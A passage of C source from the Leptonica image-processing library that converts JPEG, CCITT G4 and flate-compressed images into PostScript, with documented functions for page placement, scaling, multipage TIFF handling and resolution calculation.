*sa; PROCNAME("generateJpegPS"); if (!cid) return (char *)ERROR_PTR("jpeg data not defined", procName, NULL); w = cid->w; h = cid->h; bps = cid->bps; spp = cid->spp; sa = sarrayCreate(50); sarrayAddString(sa, "%!PS-Adobe-3.0", L_COPY); sarrayAddString(sa, "%%Creator: leptonica", L_COPY); if (filein) snprintf(bigbuf, sizeof(bigbuf), "%%%%Title: %s", filein); else snprintf(bigbuf, sizeof(bigbuf), "%%%%Title: Jpeg compressed PS"); sarrayAddString(sa, bigbuf, L_COPY); sarrayAddString(sa, "%%DocumentData: Clean7Bit", L_COPY); if (var_PS_WRITE_BOUNDING_BOX == 1) { snprintf(bigbuf, sizeof(bigbuf), "%%%%BoundingBox: %7.2f %7.2f %7.2f %7.2f", xpt, ypt, xpt + wpt, ypt + hpt); sarrayAddString(sa, bigbuf, L_COPY); } sarrayAddString(sa, "%%LanguageLevel: 2", L_COPY); sarrayAddString(sa, "%%EndComments", L_COPY); snprintf(bigbuf, sizeof(bigbuf), "%%%%Page: %d %d", pageno, pageno); sarrayAddString(sa, bigbuf, L_COPY); sarrayAddString(sa, "save", L_COPY); sarrayAddString(sa, "/RawData currentfile /ASCII85Decode filter def", L_COPY); sarrayAddString(sa, "/Data RawData << >> /DCTDecode filter def", L_COPY); snprintf(bigbuf, sizeof(bigbuf), "%7.2f %7.2f translate %%set image origin in pts", xpt, ypt); sarrayAddString(sa, bigbuf, L_COPY); snprintf(bigbuf, sizeof(bigbuf), "%7.2f %7.2f scale %%set image size in pts", wpt, hpt); sarrayAddString(sa, bigbuf, L_COPY); if (spp == 1) sarrayAddString(sa, "/DeviceGray setcolorspace", L_COPY); else if (spp == 3) sarrayAddString(sa, "/DeviceRGB setcolorspace", L_COPY); else /*spp == 4 */ sarrayAddString(sa, "/DeviceCMYK setcolorspace", L_COPY); sarrayAddString(sa, "{ << /ImageType 1", L_COPY); snprintf(bigbuf, sizeof(bigbuf), " /Width %d", w); sarrayAddString(sa, bigbuf, L_COPY); snprintf(bigbuf, sizeof(bigbuf), " /Height %d", h); sarrayAddString(sa, bigbuf, L_COPY); snprintf(bigbuf, sizeof(bigbuf), " /ImageMatrix [ %d 0 0 %d 0 %d ]", w, -h, h); sarrayAddString(sa, bigbuf, L_COPY); sarrayAddString(sa, " /DataSource Data", L_COPY); snprintf(bigbuf, sizeof(bigbuf), " /BitsPerComponent %d", bps); sarrayAddString(sa, bigbuf, L_COPY); if (spp == 1) sarrayAddString(sa, " /Decode [0 1]", L_COPY); else if (spp == 3) sarrayAddString(sa, " /Decode [0 1 0 1 0 1]", L_COPY); else /* spp == 4 */ sarrayAddString(sa, " /Decode [0 1 0 1 0 1 0 1]", L_COPY); sarrayAddString(sa, " >> image", L_COPY); sarrayAddString(sa, " Data closefile", L_COPY); sarrayAddString(sa, " RawData flushfile", L_COPY); if (endpage == TRUE) sarrayAddString(sa, " showpage", L_COPY); sarrayAddString(sa, " restore", L_COPY); sarrayAddString(sa, "} exec", L_COPY); /* Insert the ascii85 jpeg data; this is now owned by sa */ sarrayAddString(sa, cid->data85, L_INSERT); cid->data85 = NULL; /* it has been transferred and destroyed */ /* Generate and return the output string */ outstr = sarrayToString(sa, 1); sarrayDestroy(&sa); return outstr; } /*-------------------------------------------------------------* * For ccitt g4 compressed images * *-------------------------------------------------------------*/ /*! * \brief convertG4ToPSEmbed() * * \param[in] filein input tiff file * \param[in] fileout output ps file * \return 0 if OK, 1 on error * * <pre> * Notes: * (1) This function takes a g4 compressed tif file as input and * generates a g4 compressed, ascii85 encoded PS file, with * a bounding box. * (2) The bounding box is required when a program such as TeX * (through epsf) places and rescales the image. * (3) The bounding box is sized for fitting the image to an * 8.5 x 11.0 inch page. * (4) We paint this through a mask, over whatever is below. * </pre> */ l_ok convertG4ToPSEmbed(const char *filein, const char *fileout) { char *outstr; l_int32 w, h, nbytes, ret; l_float32 xpt, ypt, wpt, hpt; L_COMP_DATA *cid; PROCNAME("convertG4ToPSEmbed"); if (!filein) return ERROR_INT("filein not defined", procName, 1); if (!fileout) return ERROR_INT("fileout not defined", procName, 1); if ((cid = l_generateG4Data(filein, 1)) == NULL) return ERROR_INT("g4 data not made", procName, 1); w = cid->w; h = cid->h; /* Scale for 20 pt boundary and otherwise full filling * in one direction on 8.5 x 11 inch device */ xpt = 20.0; ypt = 20.0; if (w * 11.0 > h * 8.5) { wpt = 572.0; /* 612 - 2 * 20 */ hpt = wpt * (l_float32)h / (l_float32)w; } else { hpt = 752.0; /* 792 - 2 * 20 */ wpt = hpt * (l_float32)w / (l_float32)h; } /* Generate the PS, painting through the image mask. * The bounding box information should be inserted (default). */ outstr = generateG4PS(NULL, cid, xpt, ypt, wpt, hpt, 1, 1, 1); l_CIDataDestroy(&cid); if (!outstr) return ERROR_INT("outstr not made", procName, 1); nbytes = strlen(outstr); ret = l_binaryWrite(fileout, "w", outstr, nbytes); LEPT_FREE(outstr); if (ret) L_ERROR("ps string not written to file\n", procName); return ret; } /*! * \brief convertG4ToPS() * * \param[in] filein input tiff g4 file * \param[in] fileout output ps file * \param[in] operation "w" for write; "a" for append * \param[in] x, y location of LL corner of image, in pixels, relative * to the PostScript origin (0,0) at the LL corner * of the page * \param[in] res resolution of the input image, in ppi; typ. values * are 300 and 600; use 0 for automatic determination * based on image size * \param[in] scale scaling by printer; use 0.0 or 1.0 for no scaling * \param[in] pageno page number; must start with 1; you can use 0 * if there is only one page. * \param[in] maskflag boolean: use TRUE if just painting through fg; * FALSE if painting both fg and bg. * \param[in] endpage boolean: use TRUE if this is the last image to be * added to the page; FALSE otherwise * \return 0 if OK, 1 on error * * <pre> * Notes: * (1) See the usage comments in convertJpegToPS(), some of * which are repeated here. * (2) This is a wrapper for tiff g4. The PostScript that * is generated is expanded by about 5/4 (due to the * ascii85 encoding. If you convert to pdf (ps2pdf), the * ascii85 decoder is automatically invoked, so that the * pdf wrapped g4 file is essentially the same size as * the original g4 file. It's useful to have the PS * file ascii85 encoded, because many printers will not * print binary PS files. * (3) For the first image written to a file, use "w", which * opens for write and clears the file. For all subsequent * images written to that file, use "a". * (4) To render multiple images on the same page, set * endpage = FALSE for each image until you get to the * last, for which you set endpage = TRUE. This causes the * "showpage" command to be invoked. Showpage outputs * the entire page and clears the raster buffer for the * next page to be added. Without a "showpage", * subsequent images from the next page will overlay those * previously put down. * (5) For multiple images to the same page, where you are writing * both jpeg and tiff-g4, you have two options: * (a) write the g4 first, as either image (maskflag == FALSE) * or imagemask (maskflag == TRUE), and then write the * jpeg over it. * (b) write the jpeg first and as the last item, write * the g4 as an imagemask (maskflag == TRUE), to paint * through the foreground only. * We have this flexibility with the tiff-g4 because it is 1 bpp. * (6) For multiple pages, increment the page number, starting * with page 1. This allows PostScript (and PDF) to build * a page directory, which viewers use for navigation. * </pre> */ l_ok convertG4ToPS(const char *filein, const char *fileout, const char *operation, l_int32 x, l_int32 y, l_int32 res, l_float32 scale, l_int32 pageno, l_int32 maskflag, l_int32 endpage) { char *outstr; l_int32 nbytes, ret; PROCNAME("convertG4ToPS"); if (!filein) return ERROR_INT("filein not defined", procName, 1); if (!fileout) return ERROR_INT("fileout not defined", procName, 1); if (strcmp(operation, "w") && strcmp(operation, "a")) return ERROR_INT("operation must be \"w\" or \"a\"", procName, 1); if (convertG4ToPSString(filein, &outstr, &nbytes, x, y, res, scale, pageno, maskflag, endpage)) return ERROR_INT("ps string not made", procName, 1); ret = l_binaryWrite(fileout, operation, outstr, nbytes); LEPT_FREE(outstr); if (ret) return ERROR_INT("ps string not written to file", procName, 1); return 0; } /*! * \brief convertG4ToPSString() * * \param[in] filein input tiff g4 file * \param[out] poutstr PS string * \param[out] pnbytes number of bytes in PS string * \param[in] x, y location of LL corner of image, in pixels, relative * to the PostScript origin (0,0) at the LL corner * of the page * \param[in] res resolution of the input image, in ppi; typ. values * are 300 and 600; use 0 for automatic determination * based on image size * \param[in] scale scaling by printer; use 0.0 or 1.0 for no scaling * \param[in] pageno page number; must start with 1; you can use 0 * if there is only one page. * \param[in] maskflag boolean: use TRUE if just painting through fg; * FALSE if painting both fg and bg. * \param[in] endpage boolean: use TRUE if this is the last image to be * added to the page; FALSE otherwise * \return 0 if OK, 1 on error * * <pre> * Notes: * (1) Generates PS string in G4 compressed tiff format from G4 tiff file. * (2) For usage, see convertG4ToPS(). * </pre> */ static l_ok convertG4ToPSString(const char *filein, char **poutstr, l_int32 *pnbytes, l_int32 x, l_int32 y, l_int32 res, l_float32 scale, l_int32 pageno, l_int32 maskflag, l_int32 endpage) { char *outstr; l_float32 xpt, ypt, wpt, hpt; L_COMP_DATA *cid; PROCNAME("convertG4ToPSString"); if (!poutstr) return ERROR_INT("&outstr not defined", procName, 1); if (!pnbytes) return ERROR_INT("&nbytes not defined", procName, 1); *poutstr = NULL; *pnbytes = 0; if (!filein) return ERROR_INT("filein not defined", procName, 1); if ((cid = l_generateG4Data(filein, 1)) == NULL) return ERROR_INT("g4 data not made", procName, 1); /* Get scaled location in pts. Guess the input scan resolution * based on the input parameter %res, the resolution data in * the pix, and the size of the image. */ if (scale == 0.0) scale = 1.0; if (res <= 0) { if (cid->res > 0) { res = cid->res; } else { if (cid->h <= 3509) /* A4 height at 300 ppi */ res = 300; else res = 600; } } xpt = scale * x * 72. / res; ypt = scale * y * 72. / res; wpt = scale * cid->w * 72. / res; hpt = scale * cid->h * 72. / res; if (pageno == 0) pageno = 1; #if DEBUG_G4 fprintf(stderr, "w = %d, h = %d, minisblack = %d\n", cid->w, cid->h, cid->minisblack); fprintf(stderr, "comp bytes = %ld, nbytes85 = %ld\n", (unsigned long)cid->nbytescomp, (unsigned long)cid->nbytes85); fprintf(stderr, "xpt = %7.2f, ypt = %7.2f, wpt = %7.2f, hpt = %7.2f\n", xpt, ypt, wpt, hpt); #endif /* DEBUG_G4 */ /* Generate the PS */ outstr = generateG4PS(NULL, cid, xpt, ypt, wpt, hpt, maskflag, pageno, endpage); l_CIDataDestroy(&cid); if (!outstr) return ERROR_INT("outstr not made", procName, 1); *poutstr = outstr; *pnbytes = strlen(outstr); return 0; } /*! * \brief generateG4PS() * * \param[in] filein [optional] input tiff g4 file; can be null * \param[in] cid g4 compressed image data * \param[in] xpt, ypt location of LL corner of image, in pts, relative * to the PostScript origin (0,0) at the LL corner * of the page * \param[in] wpt, hpt rendered image size in pts * \param[in] maskflag boolean: use TRUE if just painting through fg; * FALSE if painting both fg and bg. * \param[in] pageno page number; must start with 1; you can use 0 * if there is only one page. * \param[in] endpage boolean: use TRUE if this is the last image to be * added to the page; FALSE otherwise * \return PS string, or NULL on error * * <pre> * Notes: * (1) Low-level function. * </pre> */ static char * generateG4PS(const char *filein, L_COMP_DATA *cid, l_float32 xpt, l_float32 ypt, l_float32 wpt, l_float32 hpt, l_int32 maskflag, l_int32 pageno, l_int32 endpage) { l_int32 w, h; char *outstr; char bigbuf[Bufsize]; SARRAY *sa; PROCNAME("generateG4PS"); if (!cid) return (char *)ERROR_PTR("g4 data not defined", procName, NULL); w = cid->w; h = cid->h; sa = sarrayCreate(50); sarrayAddString(sa, "%!PS-Adobe-3.0", L_COPY); sarrayAddString(sa, "%%Creator: leptonica", L_COPY); if (filein) snprintf(bigbuf, sizeof(bigbuf), "%%%%Title: %s", filein); else snprintf(bigbuf, sizeof(bigbuf), "%%%%Title: G4 compressed PS"); sarrayAddString(sa, bigbuf, L_COPY); sarrayAddString(sa, "%%DocumentData: Clean7Bit", L_COPY); if (var_PS_WRITE_BOUNDING_BOX == 1) { snprintf(bigbuf, sizeof(bigbuf), "%%%%BoundingBox: %7.2f %7.2f %7.2f %7.2f", xpt, ypt, xpt + wpt, ypt + hpt); sarrayAddString(sa, bigbuf, L_COPY); } sarrayAddString(sa, "%%LanguageLevel: 2", L_COPY); sarrayAddString(sa, "%%EndComments", L_COPY); snprintf(bigbuf, sizeof(bigbuf), "%%%%Page: %d %d", pageno, pageno); sarrayAddString(sa, bigbuf, L_COPY); sarrayAddString(sa, "save", L_COPY); sarrayAddString(sa, "100 dict begin", L_COPY); snprintf(bigbuf, sizeof(bigbuf), "%7.2f %7.2f translate %%set image origin in pts", xpt, ypt); sarrayAddString(sa, bigbuf, L_COPY); snprintf(bigbuf, sizeof(bigbuf), "%7.2f %7.2f scale %%set image size in pts", wpt, hpt); sarrayAddString(sa, bigbuf, L_COPY); sarrayAddString(sa, "/DeviceGray setcolorspace", L_COPY); sarrayAddString(sa, "{", L_COPY); sarrayAddString(sa, " /RawData currentfile /ASCII85Decode filter def", L_COPY); sarrayAddString(sa, " << ", L_COPY); sarrayAddString(sa, " /ImageType 1", L_COPY); snprintf(bigbuf, sizeof(bigbuf), " /Width %d", w); sarrayAddString(sa, bigbuf, L_COPY); snprintf(bigbuf, sizeof(bigbuf), " /Height %d", h); sarrayAddString(sa, bigbuf, L_COPY); snprintf(bigbuf, sizeof(bigbuf), " /ImageMatrix [ %d 0 0 %d 0 %d ]", w, -h, h); sarrayAddString(sa, bigbuf, L_COPY); sarrayAddString(sa, " /BitsPerComponent 1", L_COPY); sarrayAddString(sa, " /Interpolate true", L_COPY); if (cid->minisblack) sarrayAddString(sa, " /Decode [1 0]", L_COPY); else /* miniswhite; typical for 1 bpp */ sarrayAddString(sa, " /Decode [0 1]", L_COPY); sarrayAddString(sa, " /DataSource RawData", L_COPY); sarrayAddString(sa, " <<", L_COPY); sarrayAddString(sa, " /K -1", L_COPY); snprintf(bigbuf, sizeof(bigbuf), " /Columns %d", w); sarrayAddString(sa, bigbuf, L_COPY); snprintf(bigbuf, sizeof(bigbuf), " /Rows %d", h); sarrayAddString(sa, bigbuf, L_COPY); sarrayAddString(sa, " >> /CCITTFaxDecode filter", L_COPY); if (maskflag == TRUE) /* just paint through the fg */ sarrayAddString(sa, " >> imagemask", L_COPY); else /* Paint full image */ sarrayAddString(sa, " >> image", L_COPY); sarrayAddString(sa, " RawData flushfile", L_COPY); if (endpage == TRUE) sarrayAddString(sa, " showpage", L_COPY); sarrayAddString(sa, "}", L_COPY); sarrayAddString(sa, "%%BeginData:", L_COPY); sarrayAddString(sa, "exec", L_COPY); /* Insert the ascii85 ccittg4 data; this is now owned by sa */ sarrayAddString(sa, cid->data85, L_INSERT); /* Concat the trailing data */ sarrayAddString(sa, "%%EndData", L_COPY); sarrayAddString(sa, "end", L_COPY); sarrayAddString(sa, "restore", L_COPY); outstr = sarrayToString(sa, 1); sarrayDestroy(&sa); cid->data85 = NULL; /* it has been transferred and destroyed */ return outstr; } /*-------------------------------------------------------------* * For tiff multipage files * *-------------------------------------------------------------*/ /*! * \brief convertTiffMultipageToPS() * * \param[in] filein input tiff multipage file * \param[in] fileout output ps file * \param[in] fillfract factor for filling 8.5 x 11 inch page; * use 0.0 for DefaultFillFraction * \return 0 if OK, 1 on error * * <pre> * Notes: * (1) This converts a multipage tiff file of binary page images * into a ccitt g4 compressed PS file. * (2) If the images are generated from a standard resolution fax, * the vertical resolution is doubled to give a normal-looking * aspect ratio. * </pre> */ l_ok convertTiffMultipageToPS(const char *filein, const char *fileout, l_float32 fillfract) { char *tempfile; l_int32 i, npages, w, h, istiff; l_float32 scale; PIX *pix, *pixs; FILE *fp; PROCNAME("convertTiffMultipageToPS"); if (!filein) return ERROR_INT("filein not defined", procName, 1); if (!fileout) return ERROR_INT("fileout not defined", procName, 1); if ((fp = fopenReadStream(filein)) == NULL) return ERROR_INT("file not found", procName, 1); istiff = fileFormatIsTiff(fp); if (!istiff) { fclose(fp); return ERROR_INT("file not tiff format", procName, 1); } tiffGetCount(fp, &npages); fclose(fp); if (fillfract == 0.0) fillfract = DefaultFillFraction; for (i = 0; i < npages; i++) { if ((pix = pixReadTiff(filein, i)) == NULL) return ERROR_INT("pix not made", procName, 1); pixGetDimensions(pix, &w, &h, NULL); if (w == 1728 && h < w) /* it's a std res fax */ pixs = pixScale(pix, 1.0, 2.0); else pixs = pixClone(pix); tempfile = l_makeTempFilename(); pixWrite(tempfile, pixs, IFF_TIFF_G4); scale = L_MIN(fillfract * 2550 / w, fillfract * 3300 / h); if (i == 0) convertG4ToPS(tempfile, fileout, "w", 0, 0, 300, scale, i + 1, FALSE, TRUE); else convertG4ToPS(tempfile, fileout, "a", 0, 0, 300, scale, i + 1, FALSE, TRUE); lept_rmfile(tempfile); LEPT_FREE(tempfile); pixDestroy(&pix); pixDestroy(&pixs); } return 0; } /*---------------------------------------------------------------------* * For flate (gzip) compressed images (e.g., png) * *---------------------------------------------------------------------*/ /*! * \brief convertFlateToPSEmbed() * * \param[in] filein input file -- any format * \param[in] fileout output ps file * \return 0 if OK, 1 on error * * <pre> * Notes: * (1) This function takes any image file as input and generates a * flate-compressed, ascii85 encoded PS file, with a bounding box. * (2) The bounding box is required when a program such as TeX * (through epsf) places and rescales the image. * (3) The bounding box is sized for fitting the image to an * 8.5 x 11.0 inch page. * </pre> */ l_ok convertFlateToPSEmbed(const char *filein, const char *fileout) { char *outstr; l_int32 w, h, nbytes, ret; l_float32 xpt, ypt, wpt, hpt; L_COMP_DATA *cid; PROCNAME("convertFlateToPSEmbed"); if (!filein) return ERROR_INT("filein not defined", procName, 1); if (!fileout) return ERROR_INT("fileout not defined", procName, 1); if ((cid = l_generateFlateData(filein, 1)) == NULL) return ERROR_INT("flate data not made", procName, 1); w = cid->w; h = cid->h; /* Scale for 20 pt boundary and otherwise full filling * in one direction on 8.5 x 11 inch device */ xpt = 20.0; ypt = 20.0; if (w * 11.0 > h * 8.5) { wpt = 572.0; /* 612 - 2 * 20 */ hpt = wpt * (l_float32)h / (l_float32)w; } else { hpt = 752.0; /* 792 - 2 * 20 */ wpt = hpt * (l_float32)w / (l_float32)h; } /* Generate the PS. * The bounding box information should be inserted (default). */ outstr = generateFlatePS(NULL, cid, xpt, ypt, wpt, hpt, 1, 1); l_CIDataDestroy(&cid); if (!outstr) return ERROR_INT("outstr not made", procName, 1); nbytes = strlen(outstr); ret = l_binaryWrite(fileout, "w", outstr, nbytes); LEPT_FREE(outstr); if (ret) L_ERROR("ps string not written to file\n", procName); return ret; } /*! * \brief convertFlateToPS() * * \param[in] filein input file -- any format * \param[in] fileout output ps file * \param[in] operation "w" for write; "a" for append * \param[in] x, y location of LL corner of image, in pixels, relative * to the PostScript origin (0,0) at the LL corner * of the page * \param[in] res resolution of the input image, in ppi; * use 0 for default * \param[in] scale scaling by printer; use 0.0 or 1.0 for no scaling * \param[in] pageno page number; must start with 1; you can use 0 * if there is only one page. * \param[in] endpage boolean: use TRUE if this is the last image to be * added to the page; FALSE otherwise * \return 0 if OK, 1 on error * * <pre> * Notes: * (1) This outputs level 3 PS as flate compressed (overlaid * with ascii85 encoding). * (2) An output file can contain multiple pages, each with * multiple images. The arguments to convertFlateToPS() * allow you to control placement of png images on multiple * pages within a PostScript file. * (3) For the first image written to a file, use "w", which * opens for write and clears the file. For all subsequent * images written to that file, use "a". * (4) The (x, y) parameters give the LL corner of the image * relative to the LL corner of the page. They are in * units of pixels if scale = 1.0. If you use (e.g.) * scale = 2.0, the image is placed at (2x, 2y) on the page, * and the image dimensions are also doubled. * (5) Display vs printed resolution: * * If your display is 75 ppi and your image was created * at a resolution of 300 ppi, you can get the image * to print at the same size as it appears on your display * by either setting scale = 4.0 or by setting res = 75. * Both tell the printer to make a 4x enlarged image. * * If your image is generated at 150 ppi and you use scale = 1, * it will be rendered such that 150 pixels correspond * to 72 pts (1 inch on the printer). This function does * the conversion from pixels (with or without scaling) to * pts, which are the units that the printer uses. * * The printer will choose its own resolution to use * in rendering the image, which will not affect the size * of the rendered image. That is because the output * PostScript file describes the geometry in terms of pts, * which are defined to be 1/72 inch. The printer will * only see the size of the image in pts, through the * scale and translate parameters and the affine * transform (the ImageMatrix) of the image. * (6) To render multiple images on the same page, set * endpage = FALSE for each image until you get to the * last, for which you set endpage = TRUE. This causes the * "showpage" command to be invoked. Showpage outputs * the entire page and clears the raster buffer for the * next page to be added. Without a "showpage", * subsequent images from the next page will overlay those * previously put down. * (7) For multiple pages, increment the page number, starting * with page 1. This allows PostScript (and PDF) to build * a page directory, which viewers use for navigation. * </pre> */ l_ok convertFlateToPS(const char *filein, const char *fileout, const char *operation, l_int32 x, l_int32 y, l_int32 res, l_float32 scale, l_int32 pageno, l_int32 endpage) { char *outstr; l_int32 nbytes, ret; PROCNAME("convertFlateToPS"); if (!filein) return ERROR_INT("filein not defined", procName, 1); if (!fileout) return ERROR_INT("fileout not defined", procName, 1); if (strcmp(operation, "w") && strcmp(operation, "a")) return ERROR_INT("operation must be \"w\" or \"a\"", procName, 1); if (convertFlateToPSString(filein, &outstr, &nbytes, x, y, res, scale, pageno, endpage)) return ERROR_INT("ps string not made", procName, 1); ret = l_binaryWrite(fileout, operation, outstr, nbytes); LEPT_FREE(outstr); if (ret) L_ERROR("ps string not written to file\n", procName); return ret; } /*! * \brief convertFlateToPSString() * * Generates level 3 PS string in flate compressed format. * * \param[in] filein input image file * \param[out] poutstr PS string * \param[out] pnbytes number of bytes in PS string * \param[in] x, y location of LL corner of image, in pixels, relative * to the PostScript origin (0,0) at the LL corner * of the page * \param[in] res resolution of the input image, in ppi; * use 0 for default * \param[in] scale scaling by printer; use 0.0 or 1.0 for no scaling * \param[in] pageno page number; must start with 1; you can use 0 * if there is only one page. * \param[in] endpage boolean: use TRUE if this is the last image to be * added to the page; FALSE otherwise * \return 0 if OK, 1 on error * * <pre> * Notes: * (1) The returned PS character array is a null-terminated * ascii string. All the raster data is ascii85 encoded, so * there are no null bytes embedded in it. * (2) The raster encoding is made with gzip, the same as that * in a png file that is compressed without prediction. * The raster data itself is 25% larger than that in the * binary form, due to the ascii85 encoding. * * Usage: See convertFlateToPS() * </pre> */ static l_ok convertFlateToPSString(const char *filein, char **poutstr, l_int32 *pnbytes, l_int32 x, l_int32 y, l_int32 res, l_float32 scale, l_int32 pageno, l_int32 endpage) { char *outstr; l_float32 xpt, ypt, wpt, hpt; L_COMP_DATA *cid; PROCNAME("convertFlateToPSString"); if (!poutstr) return ERROR_INT("&outstr not defined", procName, 1); if (!pnbytes) return ERROR_INT("&nbytes not defined", procName, 1); *pnbytes = 0; *poutstr = NULL; if (!filein) return ERROR_INT("filein not defined", procName, 1); if ((cid = l_generateFlateData(filein, 1)) == NULL) return ERROR_INT("flate data not made", procName, 1); /* Get scaled location in pts. Guess the input scan resolution * based on the input parameter %res, the resolution data in * the pix, and the size of the image. */ if (scale == 0.0) scale = 1.0; if (res <= 0) { if (cid->res > 0) res = cid->res; else res = DefaultInputRes; } xpt = scale * x * 72. / res; ypt = scale * y * 72. / res; wpt = scale * cid->w * 72. / res; hpt = scale * cid->h * 72. / res; if (pageno == 0) pageno = 1; #if DEBUG_FLATE fprintf(stderr, "w = %d, h = %d, bps = %d, spp = %d\n", cid->w, cid->h, cid->bps, cid->spp); fprintf(stderr, "uncomp bytes = %ld, comp bytes = %ld, nbytes85 = %ld\n", (unsigned long)cid->nbytes, (unsigned long)cid->nbytescomp, (unsigned long)cid->nbytes85); fprintf(stderr, "xpt = %7.2f, ypt = %7.2f, wpt = %7.2f, hpt = %7.2f\n", xpt, ypt, wpt, hpt); #endif /* DEBUG_FLATE */ /* Generate the PS */ outstr = generateFlatePS(NULL, cid, xpt, ypt, wpt, hpt, pageno, endpage); l_CIDataDestroy(&cid); if (!outstr) return ERROR_INT("outstr not made", procName, 1); *poutstr = outstr; *pnbytes = strlen(outstr); return 0; } /*! * \brief generateFlatePS() * * \param[in] filein [optional] input filename; can be null * \param[in] cid flate compressed image data * \param[in] xpt, ypt location of LL corner of image, in pts, relative * to the PostScript origin (0,0) at the LL corner * of the page * \param[in] wpt, hpt rendered image size in pts * \param[in] pageno page number; must start with 1; you can use 0 * if there is only one page * \param[in] endpage boolean: use TRUE if this is the last image to be * added to the page; FALSE otherwise * \return PS string, or NULL on error */ static char * generateFlatePS(const char *filein, L_COMP_DATA *cid, l_float32 xpt, l_float32 ypt, l_float32 wpt, l_float32 hpt, l_int32 pageno, l_int32 endpage) { l_int32 w, h, bps, spp; char *outstr; char bigbuf[Bufsize]; SARRAY *sa; PROCNAME("generateFlatePS"); if (!cid) return (char *)ERROR_PTR("flate data not defined", procName, NULL); w = cid->w; h = cid->h; bps = cid->bps; spp = cid->spp; sa = sarrayCreate(50); sarrayAddString(sa, "%!PS-Adobe-3.0 EPSF-3.0", L_COPY); sarrayAddString(sa, "%%Creator: leptonica", L_COPY); if (filein) snprintf(bigbuf, sizeof(bigbuf), "%%%%Title: %s", filein); else snprintf(bigbuf, sizeof(bigbuf), "%%%%Title: Flate compressed PS"); sarrayAddString(sa, bigbuf, L_COPY); sarrayAddString(sa, "%%DocumentData: Clean7Bit", L_COPY); if (var_PS_WRITE_BOUNDING_BOX == 1) { snprintf(bigbuf, sizeof(bigbuf), "%%%%BoundingBox: %7.2f %7.2f %7.2f %7.2f", xpt, ypt, xpt + wpt, ypt + hpt); sarrayAddString(sa, bigbuf, L_COPY); } sarrayAddString(sa, "%%LanguageLevel: 3", L_COPY); sarrayAddString(sa, "%%EndComments", L_COPY); snprintf(bigbuf, sizeof(bigbuf), "%%%%Page: %d %d", pageno, pageno); sarrayAddString(sa, bigbuf, L_COPY); sarrayAddString(sa, "save", L_COPY); snprintf(bigbuf, sizeof(bigbuf), "%7.2f %7.2f translate %%set image origin in pts", xpt, ypt); sarrayAddString(sa, bigbuf, L_COPY); snprintf(bigbuf, sizeof(bigbuf), "%7.2f %7.2f scale %%set image size in pts", wpt, hpt); sarrayAddString(sa, bigbuf, L_COPY); /* If there is a colormap, add the data; it is now owned by sa */ if (cid->cmapdata85) { snprintf(bigbuf, sizeof(bigbuf), "[ /Indexed /DeviceRGB %d %%set colormap type/size", cid->ncolors - 1); sarrayAddString(sa, bigbuf, L_COPY); sarrayAddString(sa, " <~", L_COPY); sarrayAddString(sa, cid->cmapdata85, L_INSERT); sarrayAddString(sa, " ] setcolorspace", L_COPY); } else if (spp == 1) { sarrayAddString(sa, "/DeviceGray setcolorspace", L_COPY); } else { /* spp == 3 */ sarrayAddString(sa, "/DeviceRGB setcolorspace", L_COPY); } sarrayAddString(sa, "/RawData currentfile /ASCII85Decode filter def", L_COPY); sarrayAddString(sa, "/Data RawData << >> /FlateDecode filter def", L_COPY); sarrayAddString(sa, "{ << /ImageType 1", L_COPY); snprintf(bigbuf, sizeof(bigbuf), " /Width %d", w); sarrayAddString(sa, bigbuf, L_COPY); snprintf(bigbuf, sizeof(bigbuf), " /Height %d", h); sarrayAddString(sa, bigbuf, L_COPY); snprintf(bigbuf, sizeof(bigbuf), " /BitsPerComponent %d", bps); sarrayAddString(sa, bigbuf, L_COPY); snprintf(bigbuf, sizeof(bigbuf), " /ImageMatrix [ %d 0 0 %d 0 %d ]", w, -h, h); sarrayAddString(sa, bigbuf, L_COPY); if (cid->cmapdata85) { sarrayAddString(sa, " /Decode [0 255]", L_COPY); } else if (spp == 1) { if (bps == 1) /* miniswhite photometry */ sarrayAddString(sa, " /Decode [1 0]", L_COPY); else /* bps > 1 */ sarrayAddString(sa, " /Decode [0 1]", L_COPY); } else { /* spp == 3 */ sarrayAddString(sa, " /Decode [0 1 0 1 0 1]", L_COPY); } sarrayAddString(sa, " /DataSource Data", L_COPY); sarrayAddString(sa, " >> image", L_COPY); sarrayAddString(sa, " Data closefile", L_COPY); sarrayAddString(sa, " RawData flushfile", L_COPY); if (endpage == TRUE) sarrayAddString(sa, " showpage", L_COPY); sarrayAddString(sa, " restore", L_COPY); sarrayAddString(sa, "} exec", L_COPY); /* Insert the ascii85 gzipped data; this is now owned by sa */ sarrayAddString(sa, cid->data85, L_INSERT); /* Generate and return the output string */ outstr = sarrayToString(sa, 1); sarrayDestroy(&sa); cid->cmapdata85 = NULL; /* it has been transferred to sa and destroyed */ cid->data85 = NULL; /* it has been transferred to sa and destroyed */ return outstr; } /*---------------------------------------------------------------------* * Write to memory * *---------------------------------------------------------------------*/ /*! * \brief pixWriteMemPS() * * \param[out] pdata data of tiff compressed image * \param[out] psize size of returned data * \param[in] pix * \param[in] box [optional] * \param[in] res can use 0 for default of 300 ppi * \param[in] scale to prevent scaling, use either 1.0 or 0.0 * \return 0 if OK, 1 on error * * <pre> * Notes: * (1) See pixWriteStringPS() for usage. * (2) This is just a wrapper for pixWriteStringPS(), which * writes uncompressed image data to memory. * </pre> */ l_ok pixWriteMemPS(l_uint8 **pdata, size_t *psize, PIX *pix, BOX *box, l_int32 res, l_float32 scale) { PROCNAME("pixWriteMemPS"); if (!pdata) return ERROR_INT("&data not defined", procName, 1 ); if (!psize) return ERROR_INT("&size not defined", procName, 1 ); if (!pix) return ERROR_INT("&pix not defined", procName, 1 ); *pdata = (l_uint8 *)pixWriteStringPS(pix, box, res, scale); *psize = strlen((char *)(*pdata)); return 0; } /*-------------------------------------------------------------* * Converting resolution * *-------------------------------------------------------------*/ /*! * \brief getResLetterPage() * * \param[in] w image width, pixels * \param[in] h image height, pixels * \param[in] fillfract fraction in linear dimension of full page, * not to be exceeded; use 0 for default * \return resolution */ l_int32 getResLetterPage(l_int32 w, l_int32 h, l_float32 fillfract) { l_int32 resw, resh, res; if (fillfract == 0.0) fillfract = DefaultFillFraction; resw = (l_int32)((w * 72.) / (LetterWidth * fillfract)); resh = (l_int32)((h * 72.) / (LetterHeight * fillfract)); res = L_MAX(resw, resh); return res; } /*! * \brief getResA4Page() * * \param[in] w image width, pixels * \param[in] h image height, pixels * \param[in] fillfract fraction in linear dimension of full page, * not to be exceeded; use 0 for default * \return resolution */ l_int32 getResA4Page(l_int32 w, l_int32 h, l_float32 fillfract) { l_int32 resw, resh, res; if (fillfract == 0.0) fillfract = DefaultFillFraction; resw = (l_int32)((w * 72.) / (A4Width * fillfract)); resh = (l_int32)((h * 72.) / 